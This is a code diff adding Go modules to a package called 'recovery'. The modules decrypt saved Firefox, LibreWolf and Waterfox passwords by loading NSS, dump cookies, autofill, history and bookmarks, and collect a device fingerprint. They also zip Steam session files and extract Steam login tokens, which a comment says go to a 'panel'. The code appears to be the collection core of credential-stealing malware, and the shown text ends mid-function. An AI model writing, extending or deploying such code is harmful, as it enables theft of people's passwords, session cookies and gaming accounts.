||||
UserAgent string `json:"userAgent"`
|
||||
Platform string `json:"platform"`
|
||||
OS string `json:"os"`
|
||||
OSArch string `json:"osArch"`
|
||||
Languages []string `json:"languages"`
|
||||
HardwareConcurrency int `json:"hardwareConcurrency"`
|
||||
DeviceMemory int `json:"deviceMemory"`
|
||||
MaxTouchPoints int `json:"maxTouchPoints"`
|
||||
ScreenWidth int `json:"screenWidth"`
|
||||
ScreenHeight int `json:"screenHeight"`
|
||||
AvailWidth int `json:"availWidth"`
|
||||
AvailHeight int `json:"availHeight"`
|
||||
ColorDepth int `json:"colorDepth"`
|
||||
DevicePixelRatio float64 `json:"devicePixelRatio"`
|
||||
Timezone string `json:"timezone"`
|
||||
TimezoneOffset int `json:"timezoneOffset"`
|
||||
Fonts []string `json:"fonts"`
|
||||
GPU string `json:"gpu"`
|
||||
Browsers []Browser `json:"browsers"`
|
||||
LocalIPs []string `json:"localIps"`
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package firefox
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/chromium"
|
||||
"recovery/recovery/db"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type firefoxLoginFile struct {
|
||||
Logins []firefoxLogin `json:"logins"`
|
||||
}
|
||||
|
||||
type firefoxLogin struct {
|
||||
Hostname string `json:"hostname"`
|
||||
EncryptedUsername string `json:"encryptedUsername"`
|
||||
EncryptedPassword string `json:"encryptedPassword"`
|
||||
}
|
||||
|
||||
var nssmu sync.Mutex
|
||||
|
||||
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
|
||||
loginsPath := filepath.Join(profile.Path, "logins.json")
|
||||
data, err := os.ReadFile(loginsPath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var logins firefoxLoginFile
|
||||
if err := json.Unmarshal(data, &logins); err != nil {
|
||||
return nil
|
||||
}
|
||||
if len(logins.Logins) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
nssmu.Lock()
|
||||
defer nssmu.Unlock()
|
||||
|
||||
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
|
||||
var out []types.PasswordResult
|
||||
for _, r := range results {
|
||||
if r.URL != "" && (r.Username != "" || r.Password != "") {
|
||||
r.Browser = cfg.Name
|
||||
r.Profile = profile.Name
|
||||
out = append(out, r)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
|
||||
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
|
||||
if err != nil {
|
||||
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
|
||||
if err2 != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows2.Close()
|
||||
var results []types.AutofillResult
|
||||
for rows2.Next() {
|
||||
var name, value sql.NullString
|
||||
rows2.Scan(&name, &value)
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.AutofillResult
|
||||
for rows.Next() {
|
||||
var name, value sql.NullString
|
||||
var timesUsed, firstUsed sql.NullInt64
|
||||
rows.Scan(&name, &value, ×Used, &firstUsed)
|
||||
|
||||
var dateCreated int64
|
||||
if firstUsed.Int64 > 0 {
|
||||
dateCreated = firstUsed.Int64 / 1000000
|
||||
}
|
||||
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
DateCreated: dateCreated,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
|
||||
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CookieResult
|
||||
for rows.Next() {
|
||||
var host, name, value, path sql.NullString
|
||||
var secure, httpOnly, expiry sql.NullInt64
|
||||
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
|
||||
results = append(results, types.CookieResult{
|
||||
Host: host.String,
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
Path: path.String,
|
||||
Secure: secure.Int64 != 0,
|
||||
HTTPOnly: httpOnly.Int64 != 0,
|
||||
ExpiresUTC: expiry.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
|
||||
dbPath := filepath.Join(profile.Path, "places.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
q := fmt.Sprintf(
|
||||
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
|
||||
JOIN moz_places p ON p.id = h.place_id
|
||||
ORDER BY h.visit_date DESC LIMIT %d`,
|
||||
chromium.HistoryLimit,
|
||||
)
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.HistoryResult
|
||||
for rows.Next() {
|
||||
var url, title sql.NullString
|
||||
var visitDate sql.NullInt64
|
||||
rows.Scan(&url, &title, &visitDate)
|
||||
|
||||
var visitTimeUnix int64
|
||||
if visitDate.Int64 > 0 {
|
||||
visitTimeUnix = visitDate.Int64 / 1000000
|
||||
}
|
||||
if url.String != "" {
|
||||
results = append(results, types.HistoryResult{
|
||||
URL: url.String,
|
||||
Title: title.String,
|
||||
VisitTimeUnix: visitTimeUnix,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
|
||||
dbPath := filepath.Join(profile.Path, "places.sqlite")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
|
||||
JOIN moz_places p ON p.id = b.fk
|
||||
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.BookmarkResult
|
||||
for rows.Next() {
|
||||
var title, url sql.NullString
|
||||
rows.Scan(&title, &url)
|
||||
if url.String != "" {
|
||||
results = append(results, types.BookmarkResult{
|
||||
Name: title.String,
|
||||
URL: url.String,
|
||||
Type: "url",
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package firefox
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[firefox] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build !windows
|
||||
|
||||
package firefox
|
||||
|
||||
/*
|
||||
#cgo LDFLAGS: -ldl
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned int type;
|
||||
unsigned char *data;
|
||||
unsigned int len;
|
||||
} SECItem;
|
||||
|
||||
typedef int (*NSS_Init_Fn)(const char*);
|
||||
typedef int (*NSS_Shutdown_Fn)(void);
|
||||
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
|
||||
typedef void (*PORT_Free_Fn)(void*);
|
||||
|
||||
static void* load_nss(const char* path) {
|
||||
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
|
||||
}
|
||||
|
||||
static void close_nss(void* handle) {
|
||||
if (handle) dlclose(handle);
|
||||
}
|
||||
|
||||
static int call_nss_init(void* handle, const char* profile) {
|
||||
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
|
||||
if (!fn) return -1;
|
||||
return fn(profile);
|
||||
}
|
||||
|
||||
static int call_nss_shutdown(void* handle) {
|
||||
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
|
||||
if (!fn) return -1;
|
||||
return fn();
|
||||
}
|
||||
|
||||
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
|
||||
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
|
||||
if (!fn) return -1;
|
||||
return fn(enc, dec, NULL);
|
||||
}
|
||||
|
||||
static void call_port_free(void* handle, void* ptr) {
|
||||
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
|
||||
if (fn) fn(ptr);
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var nssLibPaths = []string{
|
||||
// Linux paths
|
||||
"/usr/lib/x86_64-linux-gnu/libnss3.so",
|
||||
"/usr/lib64/libnss3.so",
|
||||
"/usr/lib/libnss3.so",
|
||||
"/usr/lib/firefox/libnss3.so",
|
||||
"/usr/lib64/firefox/libnss3.so",
|
||||
"/opt/firefox/libnss3.so",
|
||||
"/opt/librewolf/libnss3.so",
|
||||
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
|
||||
// macOS paths
|
||||
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
|
||||
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
|
||||
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
|
||||
"/opt/homebrew/lib/libnss3.dylib",
|
||||
"/usr/local/lib/libnss3.dylib",
|
||||
}
|
||||
|
||||
func findNSSLib() string {
|
||||
suffix := ".so"
|
||||
if runtime.GOOS == "darwin" {
|
||||
suffix = ".dylib"
|
||||
}
|
||||
for _, p := range nssLibPaths {
|
||||
if strings.HasSuffix(p, suffix) {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
}
|
||||
name := "libnss3.so"
|
||||
if runtime.GOOS == "darwin" {
|
||||
name = "libnss3.dylib"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
|
||||
libPath := findNSSLib()
|
||||
cLibPath := C.CString(libPath)
|
||||
defer C.free(unsafe.Pointer(cLibPath))
|
||||
|
||||
handle := C.load_nss(cLibPath)
|
||||
if handle == nil {
|
||||
logf("firefox NSS: failed to load %s", libPath)
|
||||
return nil
|
||||
}
|
||||
defer C.close_nss(handle)
|
||||
|
||||
cProfile := C.CString(profilePath)
|
||||
defer C.free(unsafe.Pointer(cProfile))
|
||||
|
||||
ret := C.call_nss_init(handle, cProfile)
|
||||
if ret != 0 {
|
||||
logf("firefox NSS: NSS_Init failed for %s", profilePath)
|
||||
return nil
|
||||
}
|
||||
defer C.call_nss_shutdown(handle)
|
||||
|
||||
var results []types.PasswordResult
|
||||
for _, login := range logins {
|
||||
username := nssDecryptUnix(handle, login.EncryptedUsername)
|
||||
password := nssDecryptUnix(handle, login.EncryptedPassword)
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: login.Hostname,
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
|
||||
b64 = strings.TrimSpace(b64)
|
||||
if b64 == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
encBytes, err := base64.StdEncoding.DecodeString(b64)
|
||||
if err != nil || len(encBytes) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var encItem C.SECItem
|
||||
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
|
||||
encItem.len = C.uint(len(encBytes))
|
||||
|
||||
var decItem C.SECItem
|
||||
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
|
||||
if ret != 0 || decItem.data == nil || decItem.len == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
|
||||
C.call_port_free(handle, unsafe.Pointer(decItem.data))
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
//go:build windows
|
||||
|
||||
package firefox
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type secItem struct {
|
||||
ItemType uint32
|
||||
Data *byte
|
||||
Len uint32
|
||||
}
|
||||
|
||||
var nssInstallDirs = map[string][]string{
|
||||
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
|
||||
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
|
||||
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
|
||||
}
|
||||
|
||||
func findNSSDir(browserName string) string {
|
||||
dirs := nssInstallDirs[browserName]
|
||||
if dirs == nil {
|
||||
dirs = nssInstallDirs["Firefox"]
|
||||
}
|
||||
for _, dir := range dirs {
|
||||
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
for _, dirs := range nssInstallDirs {
|
||||
for _, dir := range dirs {
|
||||
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
|
||||
nssDir := findNSSDir(browserName)
|
||||
if nssDir == "" {
|
||||
logf("firefox NSS: nss3.dll not found for %s", browserName)
|
||||
return nil
|
||||
}
|
||||
|
||||
oldPath := os.Getenv("PATH")
|
||||
os.Setenv("PATH", nssDir+";"+oldPath)
|
||||
defer os.Setenv("PATH", oldPath)
|
||||
|
||||
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
|
||||
if err != nil {
|
||||
logf("firefox NSS: failed to load nss3.dll: %v", err)
|
||||
return nil
|
||||
}
|
||||
defer nss3dll.Release()
|
||||
|
||||
nssInit, err := nss3dll.FindProc("NSS_Init")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
|
||||
portFree, _ := nss3dll.FindProc("PORT_Free")
|
||||
|
||||
profileBytes, err := syscall.BytePtrFromString(profilePath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
|
||||
if ret != 0 {
|
||||
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
|
||||
return nil
|
||||
}
|
||||
defer func() {
|
||||
if nssShutdown != nil {
|
||||
nssShutdown.Call()
|
||||
}
|
||||
}()
|
||||
|
||||
var results []types.PasswordResult
|
||||
for _, login := range logins {
|
||||
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
|
||||
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: login.Hostname,
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
|
||||
b64 = strings.TrimSpace(b64)
|
||||
if b64 == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
encBytes, err := base64.StdEncoding.DecodeString(b64)
|
||||
if err != nil || len(encBytes) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
|
||||
var decItem secItem
|
||||
|
||||
ret, _, _ := pk11SDRDecrypt.Call(
|
||||
uintptr(unsafe.Pointer(&encItem)),
|
||||
uintptr(unsafe.Pointer(&decItem)),
|
||||
0,
|
||||
)
|
||||
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
|
||||
return ""
|
||||
}
|
||||
|
||||
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
|
||||
result := string(decBytes)
|
||||
|
||||
if portFree != nil {
|
||||
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
func pathExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func ScanGaming() *types.GamingResult {
|
||||
result := &types.GamingResult{
|
||||
Steam: scanSteamUnix(),
|
||||
}
|
||||
if result.Steam == nil {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func steamBasePaths() []string {
|
||||
home, _ := os.UserHomeDir()
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []string{
|
||||
filepath.Join(home, "Library", "Application Support", "Steam"),
|
||||
}
|
||||
}
|
||||
return []string{
|
||||
filepath.Join(home, ".steam", "steam"),
|
||||
filepath.Join(home, ".local", "share", "Steam"),
|
||||
filepath.Join(home, ".steam", "debian-installation"),
|
||||
}
|
||||
}
|
||||
|
||||
func scanSteamUnix() *types.SteamResult {
|
||||
var steamPath string
|
||||
for _, p := range steamBasePaths() {
|
||||
if pathExists(p) {
|
||||
steamPath = p
|
||||
break
|
||||
}
|
||||
}
|
||||
if steamPath == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
result := &types.SteamResult{SteamPath: steamPath}
|
||||
|
||||
configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
|
||||
val := vdfValueUnix(line)
|
||||
if val != "" {
|
||||
result.Account = val
|
||||
result.AutoLogin = val
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(line, `"RememberPassword"`) {
|
||||
result.RememberPW = vdfValueUnix(line) == "1"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if entries, err := os.ReadDir(steamPath); err == nil {
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
result.SSFNFiles = append(result.SSFNFiles, e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
seenGames := make(map[string]bool)
|
||||
scanSteamLibraryUnix(steamPath, result, seenGames)
|
||||
|
||||
if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
|
||||
libraryFolders := []string{steamPath}
|
||||
|
||||
steamappsRoot := filepath.Join(steamPath, "steamapps")
|
||||
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
|
||||
if data, err := os.ReadFile(vdfPath); err == nil {
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
|
||||
val := vdfValueUnix(line)
|
||||
if val != "" && pathExists(val) && val != steamPath {
|
||||
libraryFolders = append(libraryFolders, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, lib := range libraryFolders {
|
||||
libApps := filepath.Join(lib, "steamapps")
|
||||
if !pathExists(libApps) {
|
||||
continue
|
||||
}
|
||||
entries, _ := os.ReadDir(libApps)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
|
||||
continue
|
||||
}
|
||||
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
|
||||
if err != nil || len(acfData) == 0 {
|
||||
continue
|
||||
}
|
||||
acf := parseACFUnix(string(acfData))
|
||||
if acf["appid"] == "" || acf["name"] == "" {
|
||||
continue
|
||||
}
|
||||
if !seenGames[acf["appid"]] {
|
||||
seenGames[acf["appid"]] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: acf["appid"],
|
||||
Name: acf["name"],
|
||||
Installed: acf["StateFlags"] != "4",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseACFUnix(data string) map[string]string {
|
||||
result := map[string]string{}
|
||||
var inBlock bool
|
||||
for _, line := range strings.Split(data, "\n") {
|
||||
line = strings.TrimLeft(line, "\t ")
|
||||
if line == "{" {
|
||||
inBlock = true
|
||||
continue
|
||||
}
|
||||
if line == "}" {
|
||||
break
|
||||
}
|
||||
if !inBlock || line == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, `"`) {
|
||||
key := vdfNthQuotedUnix(line, 0)
|
||||
val := vdfNthQuotedUnix(line, 1)
|
||||
if key != "" {
|
||||
result[key] = val
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func vdfValueUnix(line string) string {
|
||||
return vdfNthQuotedUnix(line, 1)
|
||||
}
|
||||
|
||||
func vdfNthQuotedUnix(line string, n int) string {
|
||||
count := 0
|
||||
i := 0
|
||||
for count <= n && i < len(line) {
|
||||
start := strings.Index(line[i:], `"`)
|
||||
if start == -1 {
|
||||
return ""
|
||||
}
|
||||
start += i + 1
|
||||
end := strings.Index(line[start:], `"`)
|
||||
if end == -1 {
|
||||
if count == n {
|
||||
return line[start:]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
if count == n {
|
||||
return line[start : start+end]
|
||||
}
|
||||
i = start + end + 1
|
||||
count++
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
const maxZipFile = 50 * 1024 * 1024
|
||||
|
||||
func ZipSteamSession(steamPath string) ([]byte, error) {
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
entries, _ := os.ReadDir(steamPath)
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
|
||||
files = append(files, filepath.Join(steamPath, e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
configDir := filepath.Join(steamPath, "config")
|
||||
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
|
||||
p := filepath.Join(configDir, name)
|
||||
if pathExists(p) {
|
||||
files = append(files, p)
|
||||
}
|
||||
}
|
||||
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
|
||||
}
|
||||
|
||||
func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
@@ -0,0 +1,586 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
func normLines(data string) []string {
|
||||
return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
|
||||
}
|
||||
|
||||
func ScanGaming() *types.GamingResult {
|
||||
result := &types.GamingResult{
|
||||
Steam: ScanSteam(),
|
||||
BattleNet: ScanBattleNet(),
|
||||
Epic: ScanEpic(),
|
||||
Riot: ScanRiot(),
|
||||
Uplay: ScanUplay(),
|
||||
}
|
||||
if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func ScanSteam() *types.SteamResult {
|
||||
result := &types.SteamResult{}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
|
||||
if err != nil {
|
||||
logf("[gaming] Steam registry key not found: %v", err)
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
|
||||
remPw, _, _ := k.GetIntegerValue("RememberPassword")
|
||||
result.RememberPW = remPw != 0
|
||||
|
||||
steamPath, _, _ := k.GetStringValue("SteamPath")
|
||||
logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil
|
||||
}
|
||||
steamPath = filepath.FromSlash(steamPath)
|
||||
result.SteamPath = steamPath
|
||||
|
||||
if result.AutoLogin != "" {
|
||||
result.Account = result.AutoLogin
|
||||
}
|
||||
|
||||
seenGames := make(map[string]bool)
|
||||
scanSteamLibrary(steamPath, result, seenGames)
|
||||
logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
|
||||
|
||||
appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
|
||||
if err != nil {
|
||||
logf("[gaming] Steam Apps registry key not found: %v", err)
|
||||
} else {
|
||||
defer appsKey.Close()
|
||||
names, _ := appsKey.ReadSubKeyNames(0)
|
||||
logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
|
||||
for _, name := range names {
|
||||
if seenGames[name] {
|
||||
continue
|
||||
}
|
||||
subKey, err := registry.OpenKey(appsKey, name, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
gameName, _, _ := subKey.GetStringValue("Name")
|
||||
installed, _, _ := subKey.GetIntegerValue("Installed")
|
||||
running, _, _ := subKey.GetIntegerValue("Running")
|
||||
subKey.Close()
|
||||
if gameName != "" {
|
||||
seenGames[name] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: name,
|
||||
Name: gameName,
|
||||
Installed: installed == 1,
|
||||
Running: running == 1,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if entries, err := os.ReadDir(steamPath); err == nil {
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
result.SSFNFiles = append(result.SSFNFiles, e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
|
||||
logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
|
||||
if pathExists(localVdfPath) {
|
||||
tokens := extractSteamTokens(steamPath, localVdfPath)
|
||||
if len(tokens) > 0 {
|
||||
result.Token = strings.Join(tokens, "\n")
|
||||
// Parse each token into its steamID + jwt pair (steamID is the part
|
||||
// before the first dot), so it can be surfaced cleanly in the panel.
|
||||
for _, tok := range tokens {
|
||||
if dot := strings.Index(tok, "."); dot > 0 {
|
